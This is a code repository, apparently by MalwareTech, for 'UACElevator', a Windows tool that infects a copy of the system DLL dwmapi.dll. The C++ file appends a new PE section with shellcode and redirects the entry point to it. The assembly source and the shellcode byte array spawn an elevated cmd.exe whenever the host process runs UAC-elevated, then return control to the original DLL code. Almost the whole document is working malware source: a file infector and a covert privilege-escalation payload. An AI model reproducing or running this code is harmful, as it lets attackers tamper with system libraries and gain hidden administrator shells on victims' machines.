├── README.md └── UACElevator ├── UACElevator.sln └── UACElevator ├── UACElevator.vcxproj.filters ├── UACElevator.vcxproj ├── shellcode.asm └── UACElevator.cpp /README.md: -------------------------------------------------------------------------------- 1 | UACElevator 2 | =========== 3 | 4 | Passive UAC elevation using dll infection 5 | 6 | The shellcode binary is in the shellcode[] char array in UACElevator.cpp and the raw code is in shellcode.asm 7 | -------------------------------------------------------------------------------- /UACElevator/UACElevator.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UACElevator", "UACElevator\UACElevator.vcxproj", "{454F1DC9-8CA5-4591-903B-525E76017EEE}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Debug|Win32.Build.0 = Debug|Win32 14 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Release|Win32.ActiveCfg = Release|Win32 15 | {454F1DC9-8CA5-4591-903B-525E76017EEE}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /UACElevator/UACElevator/UACElevator.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /UACElevator/UACElevator/UACElevator.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {454F1DC9-8CA5-4591-903B-525E76017EEE} 15 | Win32Proj 16 | UACElevator 17 | 18 | 19 | 20 | Application 21 | true 22 | v110 23 | Unicode 24 | 25 | 26 | Application 27 | false 28 | v110 29 | true 30 | Unicode 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | true 44 | 45 | 46 | false 47 | 48 | 49 | 50 | 51 | 52 | Level3 53 | Disabled 54 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 55 | 56 | 57 | Console 58 | true 59 | 60 | 61 | 62 | 63 | Level3 64 | 65 | 66 | MaxSpeed 67 | true 68 | true 69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 70 | 71 | 72 | Console 73 | true 74 | true 75 | true 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /UACElevator/UACElevator/shellcode.asm: -------------------------------------------------------------------------------- 1 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 2 | ;Shellcode will use functions from ntdll/kernel32 to check if process 3 | ;is UAC elevated and if so spawn elevated cmd.exe. Once complete 4 | ;control is passed back to the infected DLL so the application will 5 | ;contine to run normally. 6 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 7 | use32 8 | include 'win32ax.inc' 9 | 10 | TOKEN_QUERY equ 0x08 11 | TokenElevationType equ 0x12 12 | DLL_PROCESS_ATTACH equ 0x01 13 | 14 | ;Only run on dll load 15 | cmp dword [esp+0x08], DLL_PROCESS_ATTACH 16 | jnz ReturnToEntry 17 | 18 | pushad 19 | call RunCMD 20 | popad 21 | 22 | ReturnToEntry: 23 | jmp 0xDEADBEEF ;Will be modified to jump to original entry point 24 | 25 | proc RunCMD 26 | locals 27 | TokenHandle dd 0 28 | ElevationLevel dd ? 29 | ReturnSize dd ? 30 | Ntdll dd ? 31 | Kernel32 dd ? 32 | OpenProcToken dd ? 33 | QueryToken dd ? 34 | NtClose dd ? 35 | ExpandEnvStrs dd ? 36 | CreateProcess dd ? 37 | OpenProcTokenName db 'NtOpenProcessToken', 0 38 | QueryTokenName db 'NtQueryInformationToken', 0 39 | NtCloseName db 'NtClose', 0 40 | ExpandEnvStrsName db 'ExpandEnvironmentStringsA', 0 41 | CreateProcessName db 'CreateProcessA', 0 42 | StartupInfo db 68 dup(0) 43 | ProcessInfo PROCESS_INFORMATION 44 | FilePath db '%windir%\system32\cmd.exe', 0 45 | ExpandedFilePath db 256 dup(?) 46 | 47 | endl 48 | mov eax, [fs:0x30] ;Process Environment Block 49 | mov eax, [eax+0x0C] ;PEB->Ldr 50 | mov eax, [eax+0x14] ;PEB->Ldr.InLoadOrderModuleList 51 | 52 | mov eax, [eax] ;First Module (ntdll.dll) 53 | mov edx, [eax+0x10] ;BaseAddress 54 | mov [Ntdll], edx 55 | 56 | mov eax, [eax] ;Second Module (kernel32.dll) 57 | mov edx, [eax+0x10] ;BaseAddress 58 | mov [Kernel32], edx 59 | 60 | stdcall GetProcAddress, [Ntdll], addr OpenProcTokenName 61 | mov [OpenProcToken], eax 62 | 63 | stdcall GetProcAddress, [Ntdll], addr QueryTokenName 64 | mov [QueryToken], eax 65 | 66 | stdcall GetProcAddress, [Ntdll], addr NtCloseName 67 | mov [NtClose], eax 68 | 69 | stdcall GetProcAddress, [Kernel32], addr ExpandEnvStrsName 70 | mov [ExpandEnvStrs], eax 71 | 72 | stdcall GetProcAddress, [Kernel32], addr CreateProcessName 73 | mov [CreateProcess], eax 74 | 75 | stdcall [OpenProcToken], -1, TOKEN_QUERY, addr TokenHandle 76 | 77 | test eax, eax 78 | jnz failed 79 | 80 | ;ElevationLevel will be 3 for non-elevated and 2 for elevated 81 | stdcall [QueryToken], [TokenHandle], TokenElevationType, addr ElevationLevel, 4, addr ReturnSize 82 | 83 | test eax, eax 84 | jnz failed 85 | 86 | ;If ElevationLevel is not 2, then we were run from a non UAC elevated process 87 | cmp [ElevationLevel], 2 88 | jnz failed 89 | 90 | stdcall [ExpandEnvStrs], addr FilePath, addr ExpandedFilePath, 255 91 | 92 | stdcall [CreateProcess], 0, addr ExpandedFilePath, 0, 0, 0, 0, 0, 0, addr StartupInfo, addr ProcessInfo 93 | 94 | failed: 95 | cmp [TokenHandle], 0 96 | jz exit 97 | 98 | stdcall [NtClose], [TokenHandle] 99 | 100 | exit: 101 | mov esp, ebp 102 | pop ebp 103 | retn 104 | endp 105 | 106 | ;Simple GetProcAddress implementation without import forwarding 107 | proc GetProcAddress Module, Name 108 | locals 109 | AddressOfFunctions dd ? 110 | AddressOfNames dd ? 111 | AddressOfNameOrdinals dd ? 112 | endl 113 | 114 | mov eax, [Module] 115 | mov ecx, [eax+0x3C] ;IMAGE_DOS_HEADER.e_lfanew 116 | add ecx, eax ;IMAGE_NT_HEADERS 117 | 118 | cmp dword [ecx], 0x4550 ;IMAGE_NT_HEADERS.Signature 119 | jne GPAFailed 120 | 121 | lea edx, dword [ecx+0x78] ;IMAGE_NT_HEADERS.OptionalHeader.DataDirectory 122 | mov edx, dword [edx] ;IMAGE_DATA_DIRECTORY.VirtualAddress 123 | add edx, eax ;Calculate absolute address (Base+VirtualAddress) 124 | 125 | mov ecx, dword [edx+0x1C] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions 126 | add ecx, eax ;Calculate absolute address (Base+AddressOfFunctions) 127 | mov [AddressOfFunctions], ecx 128 | 129 | mov ecx, dword [edx+0x20] ;IMAGE_EXPORT_DIRECTORY.AddressOfNames 130 | add ecx, eax ;Calculate absolute address (Base+AddressOfNames) 131 | mov [AddressOfNames], ecx 132 | 133 | mov ecx, dword [edx+0x24] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals 134 | add ecx, eax ;Calculate absolute address (Base+AddressOfNameOrdinals) 135 | mov [AddressOfNameOrdinals], ecx 136 | 137 | xor ecx, ecx ;FunctionNumber 138 | 139 | NextExport: 140 | mov ebx, [AddressOfNames] 141 | mov ebx, [4*ecx+ebx] ;AddressOfNames[FunctionNumber] 142 | add ebx, eax ;Absolute address of function name 143 | 144 | push eax 145 | 146 | push ebx 147 | push dword [Name] 148 | call strcmp 149 | test eax, eax 150 | 151 | pop eax 152 | je GPASuccess ;These are the offsets we're looking for 153 | 154 | inc ecx ;FunctionNumber++ 155 | cmp ecx, [edx+0x18] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames (Is this the last func?) 156 | jne NextExport 157 | jmp GPAFailed 158 | 159 | GPASuccess: 160 | mov edx, [AddressOfNameOrdinals] 161 | movzx ebx, word [2*ecx+edx] ;Ordinal[FunctionNumber] 162 | mov ecx, [AddressOfFunctions] 163 | mov ebx, dword [4*ebx+ecx] ;AddressOfFunctions[Ordinal[FunctionNumber]] 164 | add eax, ebx ;Absolute address of function 165 | 166 | jmp GPAFinished 167 | 168 | GPAFailed: 169 | xor eax, eax 170 | 171 | GPAFinished: 172 | mov esp, ebp 173 | pop ebp 174 | ret 0x08 175 | endp 176 | 177 | proc strcmp String1, String2 178 | push esi 179 | push edi 180 | push ecx 181 | 182 | mov esi, [String1] 183 | mov edi, [String2] 184 | xor ecx, ecx 185 | 186 | StrcmpLoop: 187 | mov al, byte [edi+ecx] 188 | mov ah, byte [esi+ecx] 189 | and al,0xDF ;Case insensitive 190 | and ah,0xDF 191 | cmp al, ah 192 | jne StrcmpNotEqual 193 | 194 | cmp al, 0 195 | je StrcmpIsEqual 196 | 197 | inc ecx 198 | jmp StrcmpLoop 199 | 200 | StrcmpIsEqual: 201 | xor eax, eax 202 | jmp StrcmpEnd 203 | 204 | StrcmpNotEqual: 205 | mov eax, 1 206 | 207 | StrcmpEnd: 208 | pop ecx 209 | pop edi 210 | pop esi 211 | 212 | mov esp, ebp 213 | pop ebp 214 | ret 0x08 215 | endp 216 | -------------------------------------------------------------------------------- /UACElevator/UACElevator/UACElevator.cpp: -------------------------------------------------------------------------------- 1 | /**************************************************************************************************** 2 | This source is licensed under the MalwareTech Public License which gives you permission to use 3 | it freely as long as the code is replicated using a Hansen ball typewriter and compiled by hand. 4 | *****************************************************************************************************/ 5 | 6 | #include 7 | #include 8 | 9 | CHAR shellcode[] = "\x83\x7C\x24\x08\x01\x75\x07\x60\xE8\x06\x00\x00\x00\x61\xE9\xDC\xBE\xAD\xDE\x55\x89\xE5\x81\xEC\xF4\x01\x00\x00\xC7\x85\x0C\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x34\xFE\xFF\xFF\x4E\x74\x4F\x70\xC7\x85\x38\xFE\xFF\xFF\x65\x6E\x50\x72\xC7\x85\x3C\xFE\xFF\xFF\x6F\x63\x65\x73\xC7\x85\x40\xFE\xFF\xFF\x73\x54\x6F\x6B\x66\xC7\x85\x44\xFE\xFF\xFF\x65\x6E\xC6\x85\x46\xFE\xFF\xFF\x00\xC7\x85\x47\xFE\xFF\xFF\x4E\x74\x51\x75\xC7\x85\x4B\xFE\xFF\xFF\x65\x72\x79\x49\xC7\x85\x4F\xFE\xFF\xFF\x6E\x66\x6F\x72\xC7\x85\x53\xFE\xFF\xFF\x6D\x61\x74\x69\xC7\x85\x57\xFE\xFF\xFF\x6F\x6E\x54\x6F\x66\xC7\x85\x5B\xFE\xFF\xFF\x6B\x65\xC6\x85\x5D\xFE\xFF\xFF\x6E\xC6\x85\x5E\xFE\xFF\xFF\x00\xC7\x85\x5F\xFE\xFF\xFF\x4E\x74\x43\x6C\x66\xC7\x85\x63\xFE\xFF\xFF\x6F\x73\xC6\x85\x65\xFE\xFF\xFF\x65\xC6\x85\x66\xFE\xFF\xFF\x00\xC7\x85\x67\xFE\xFF\xFF\x45\x78\x70\x61\xC7\x85\x6B\xFE\xFF\xFF\x6E\x64\x45\x6E\xC7\x85\x6F\xFE\xFF\xFF\x76\x69\x72\x6F\xC7\x85\x73\xFE\xFF\xFF\x6E\x6D\x65\x6E\xC7\x85\x77\xFE\xFF\xFF\x74\x53\x74\x72\xC7\x85\x7B\xFE\xFF\xFF\x69\x6E\x67\x73\xC6\x85\x7F\xFE\xFF\xFF\x41\xC6\x85\x80\xFE\xFF\xFF\x00\xC7\x85\x81\xFE\xFF\xFF\x43\x72\x65\x61\xC7\x85\x85\xFE\xFF\xFF\x74\x65\x50\x72\xC7\x85\x89\xFE\xFF\xFF\x6F\x63\x65\x73\x66\xC7\x85\x8D\xFE\xFF\xFF\x73\x41\xC6\x85\x8F\xFE\xFF\xFF\x00\xC7\x85\x90\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x94\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x98\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\x9C\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xA0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xA4\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xA8\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xAC\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xB0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xB4\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xB8\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xBC\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xC0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xC4\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xC8\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xCC\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xD0\xFE\xFF\xFF\x00\x00\x00\x00\xC7\x85\xE4\xFE\xFF\xFF\x25\x77\x69\x6E\xC7\x85\xE8\xFE\xFF\xFF\x64\x69\x72\x25\xC7\x85\xEC\xFE\xFF\xFF\x5C\x73\x79\x73\xC7\x85\xF0\xFE\xFF\xFF\x74\x65\x6D\x33\xC7\x85\xF4\xFE\xFF\xFF\x32\x5C\x63\x6D\xC7\x85\xF8\xFE\xFF\xFF\x64\x2E\x65\x78\xC6\x85\xFC\xFE\xFF\xFF\x65\xC6\x85\xFD\xFE\xFF\xFF\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x50\x10\x89\x95\x18\xFE\xFF\xFF\x8B\x00\x8B\x50\x10\x89\x95\x1C\xFE\xFF\xFF\x8D\x95\x34\xFE\xFF\xFF\x52\xFF\xB5\x18\xFE\xFF\xFF\xE8\x01\x01\x00\x00\x89\x85\x20\xFE\xFF\xFF\x8D\x95\x47\xFE\xFF\xFF\x52\xFF\xB5\x18\xFE\xFF\xFF\xE8\xE9\x00\x00\x00\x89\x85\x24\xFE\xFF\xFF\x8D\x95\x5F\xFE\xFF\xFF\x52\xFF\xB5\x18\xFE\xFF\xFF\xE8\xD1\x00\x00\x00\x89\x85\x28\xFE\xFF\xFF\x8D\x95\x67\xFE\xFF\xFF\x52\xFF\xB5\x1C\xFE\xFF\xFF\xE8\xB9\x00\x00\x00\x89\x85\x2C\xFE\xFF\xFF\x8D\x95\x81\xFE\xFF\xFF\x52\xFF\xB5\x1C\xFE\xFF\xFF\xE8\xA1\x00\x00\x00\x89\x85\x30\xFE\xFF\xFF\x8D\x95\x0C\xFE\xFF\xFF\x52\x6A\x08\x6A\xFF\xFF\x95\x20\xFE\xFF\xFF\x85\xC0\x75\x6D\x8D\x95\x14\xFE\xFF\xFF\x52\x6A\x04\x8D\x95\x10\xFE\xFF\xFF\x52\x6A\x12\xFF\xB5\x0C\xFE\xFF\xFF\xFF\x95\x24\xFE\xFF\xFF\x85\xC0\x75\x4B\x83\xBD\x10\xFE\xFF\xFF\x02\x75\x42\x68\xFF\x00\x00\x00\x8D\x95\xFE\xFE\xFF\xFF\x52\x8D\x95\xE4\xFE\xFF\xFF\x52\xFF\x95\x2C\xFE\xFF\xFF\x8D\x95\xD4\xFE\xFF\xFF\x52\x8D\x95\x90\xFE\xFF\xFF\x52\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x8D\x95\xFE\xFE\xFF\xFF\x52\x6A\x00\xFF\x95\x30\xFE\xFF\xFF\x83\xBD\x0C\xFE\xFF\xFF\x00\x74\x0C\xFF\xB5\x0C\xFE\xFF\xFF\xFF\x95\x28\xFE\xFF\xFF\x89\xEC\x5D\xC3\x55\x89\xE5\x83\xEC\x0C\x8B\x45\x08\x8B\x48\x3C\x01\xC1\x81\x39\x50\x45\x00\x00\x75\x51\x8D\x51\x78\x8B\x12\x01\xC2\x8B\x4A\x1C\x01\xC1\x89\x4D\xF4\x8B\x4A\x20\x01\xC1\x89\x4D\xF8\x8B\x4A\x24\x01\xC1\x89\x4D\xFC\x31\xC9\x8B\x5D\xF8\x8B\x1C\x8B\x01\xC3\x50\x53\xFF\x75\x0C\xE8\x26\x00\x00\x00\x85\xC0\x58\x74\x08\x41\x3B\x4A\x18\x75\xE3\xEB\x11\x8B\x55\xFC\x0F\xB7\x1C\x4A\x8B\x4D\xF4\x8B\x1C\x99\x01\xD8\xEB\x02\x31\xC0\x89\xEC\x5D\xC2\x08\x00\x55\x89\xE5\x56\x57\x51\x8B\x75\x08\x8B\x7D\x0C\x31\xC9\x8A\x04\x0F\x8A\x24\x0E\x24\xDF\x80\xE4\xDF\x38\xE0\x75\x0B\x3C\x00\x74\x03\x41\xEB\xEA\x31\xC0\xEB\x05\xB8\x01\x00\x00\x00\x59\x5F\x5E\x89\xEC\x5D\xC2\x08\x00"; 10 | 11 | BOOL LoadModuleBytes(CHAR *ModulePath, LPVOID *OutputBuffer, PDWORD BufferSize) 12 | { 13 | DWORD FileSize, BytesRead = 0; 14 | LPVOID FileBuffer = NULL; 15 | HANDLE FileHandle = INVALID_HANDLE_VALUE; 16 | BOOL success = FALSE; 17 | 18 | do //not a loop 19 | { 20 | FileHandle = CreateFileA(ModulePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); 21 | if(FileHandle == INVALID_HANDLE_VALUE) 22 | break; 23 | 24 | FileSize = GetFileSize(FileHandle, NULL); 25 | 26 | FileBuffer = malloc(FileSize); 27 | if(!FileBuffer) 28 | break; 29 | 30 | ReadFile(FileHandle, FileBuffer, FileSize, &BytesRead, NULL); 31 | 32 | if(BytesRead != FileSize) 33 | break; 34 | 35 | *BufferSize = FileSize; 36 | *OutputBuffer = FileBuffer; 37 | 38 | success = TRUE; 39 | 40 | } while (FALSE); 41 | 42 | if(FileHandle != INVALID_HANDLE_VALUE) 43 | CloseHandle(FileHandle); 44 | 45 | if(success == FALSE && FileBuffer != NULL) 46 | free(FileBuffer); 47 | 48 | return success; 49 | } 50 | 51 | BOOL SaveModuleBytes(CHAR *ModulePath, LPVOID SaveBuffer, DWORD BufferSize) 52 | { 53 | DWORD BytesWritten = 0; 54 | 55 | HANDLE FileHandle = CreateFileA(ModulePath, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, NULL, NULL); 56 | if(FileHandle == INVALID_HANDLE_VALUE) 57 | return FALSE; 58 | 59 | WriteFile(FileHandle, SaveBuffer, BufferSize, &BytesWritten, NULL); 60 | CloseHandle(FileHandle); 61 | 62 | if(BytesWritten != BufferSize) 63 | return FALSE; 64 | 65 | return TRUE; 66 | } 67 | 68 | /* 69 | Adds an extra section to the end of the module and redirect the entry point to call shellcode 70 | Note: We don't allocate space in PE for our new section's header as directly after the section 71 | headers is the bound imports directory, which isn't required for the executable to work and can 72 | simply be disabled. 73 | */ 74 | BOOL InfectModule(CHAR *ModulePath, CHAR *DestinationPath) 75 | { 76 | LPVOID PEBuffer = NULL, NewPEBuffer = NULL; 77 | DWORD PESize, NewPESize, SectionSize, remainder, ImageSize, VirtualAddress; 78 | PIMAGE_NT_HEADERS NtHeader; 79 | PIMAGE_SECTION_HEADER NewSection, LastSection; 80 | PIMAGE_DOS_HEADER DosHeader; 81 | BOOL success = FALSE; 82 | 83 | do //Not a loop 84 | { 85 | if(!LoadModuleBytes(ModulePath, &PEBuffer, &PESize)) 86 | { 87 | printf("Couldn't load module %s\n", ModulePath); 88 | return FALSE; 89 | } 90 | 91 | DosHeader = (PIMAGE_DOS_HEADER)PEBuffer; 92 | 93 | if(DosHeader->e_magic != IMAGE_DOS_SIGNATURE) 94 | { 95 | printf("File is not a valid portable executable\n"); 96 | break; 97 | } 98 | 99 | NtHeader = (PIMAGE_NT_HEADERS)(DosHeader->e_lfanew + (DWORD)PEBuffer); 100 | 101 | if(NtHeader->Signature != IMAGE_NT_SIGNATURE) 102 | { 103 | printf("File is not a valid portable executable\n"); 104 | break; 105 | } 106 | 107 | //Section size must be a multiple of FileAlignment 108 | remainder = sizeof(shellcode) % NtHeader->OptionalHeader.FileAlignment; 109 | if(remainder != 0) 110 | SectionSize = sizeof(shellcode) + (NtHeader->OptionalHeader.FileAlignment - remainder); 111 | 112 | //SizeOfImage won't work as it's the size of image in memory, not on disk 113 | NewPESize = SectionSize + PESize; 114 | 115 | NewPEBuffer = malloc(NewPESize); 116 | if(!NewPESize) 117 | { 118 | printf("Failed to allocate memory for new PE buffer\n"); 119 | break; 120 | } 121 | 122 | memcpy(NewPEBuffer, PEBuffer, PESize); 123 | 124 | DosHeader = (PIMAGE_DOS_HEADER)NewPEBuffer; 125 | NtHeader = (PIMAGE_NT_HEADERS)((DWORD)NewPEBuffer + DosHeader->e_lfanew); 126 | 127 | LastSection = &IMAGE_FIRST_SECTION(NtHeader)[NtHeader->FileHeader.NumberOfSections-1]; 128 | NewSection = &IMAGE_FIRST_SECTION(NtHeader)[NtHeader->FileHeader.NumberOfSections]; 129 | 130 | memset(NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); 131 | memcpy(NewSection->Name, ".mwt", 4); 132 | 133 | //VirtualAddress should be aligned on section boundary 134 | VirtualAddress = LastSection->VirtualAddress + LastSection->Misc.VirtualSize; 135 | remainder = VirtualAddress % NtHeader->OptionalHeader.SectionAlignment; 136 | if(remainder != 0) 137 | VirtualAddress = VirtualAddress + (NtHeader->OptionalHeader.SectionAlignment - remainder); 138 | 139 | //The section will be located directly after the previous section on disk and in memory 140 | NewSection->VirtualAddress = VirtualAddress; 141 | NewSection->PointerToRawData = LastSection->PointerToRawData + LastSection->SizeOfRawData; 142 | NewSection->SizeOfRawData = SectionSize; 143 | NewSection->Misc.VirtualSize = sizeof(shellcode); 144 | NewSection->Characteristics = (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ); 145 | 146 | //New SizeOfImage must include the section we added and be a multiple of SectionAlignment 147 | ImageSize = NtHeader->OptionalHeader.SizeOfImage + SectionSize + (NtHeader->OptionalHeader.SectionAlignment - remainder); 148 | remainder = ImageSize % NtHeader->OptionalHeader.SectionAlignment; 149 | if(remainder != 0) 150 | ImageSize = ImageSize + (NtHeader->OptionalHeader.SectionAlignment - remainder); 151 | 152 | NtHeader->OptionalHeader.SizeOfImage = ImageSize; 153 | NtHeader->FileHeader.NumberOfSections++; 154 | 155 | //Our new section header overlaps the Bound Import Directory, but we can disable it because it's not required 156 | NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; 157 | NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0; 158 | 159 | //point the entry point to our shellcode and modify the return jump to jump back to the original entry point 160 | *(DWORD*)(shellcode+15) = (DWORD)(NtHeader->OptionalHeader.AddressOfEntryPoint - (NewSection->VirtualAddress+14) - 5); 161 | NtHeader->OptionalHeader.AddressOfEntryPoint = NewSection->VirtualAddress; 162 | 163 | memcpy((LPVOID)((DWORD)NewPEBuffer+NewSection->PointerToRawData), shellcode, sizeof(shellcode)); 164 | 165 | if(!SaveModuleBytes(DestinationPath, NewPEBuffer, NewPESize)) 166 | { 167 | printf("Could not save module to %s\n", DestinationPath); 168 | break; 169 | } 170 | 171 | printf("SUCCESS!\n" \ 172 | "Infection module: %s\n" \ 173 | "New Section VirtualSize: %X\n" \ 174 | "New Section Size On Disk: %X\n" \ 175 | "New SizeOfImage: %X\n", 176 | DestinationPath, sizeof(shellcode), SectionSize, ImageSize 177 | ); 178 | 179 | success = TRUE; 180 | 181 | } while (FALSE); 182 | 183 | if(PEBuffer) 184 | free(PEBuffer); 185 | 186 | if(NewPEBuffer) 187 | free(NewPEBuffer); 188 | 189 | return success; 190 | } 191 | 192 | int main() 193 | { 194 | CHAR ModulePath[MAX_PATH], InfectedModulePath[MAX_PATH]; 195 | ExpandEnvironmentStringsA("%windir%\\system32\\dwmapi.dll", ModulePath, MAX_PATH-1); 196 | ExpandEnvironmentStringsA("%userprofile%\\Downloads\\dwmapi.dll", InfectedModulePath, MAX_PATH-1); 197 | InfectModule(ModulePath, InfectedModulePath); 198 | getchar(); 199 | } --------------------------------------------------------------------------------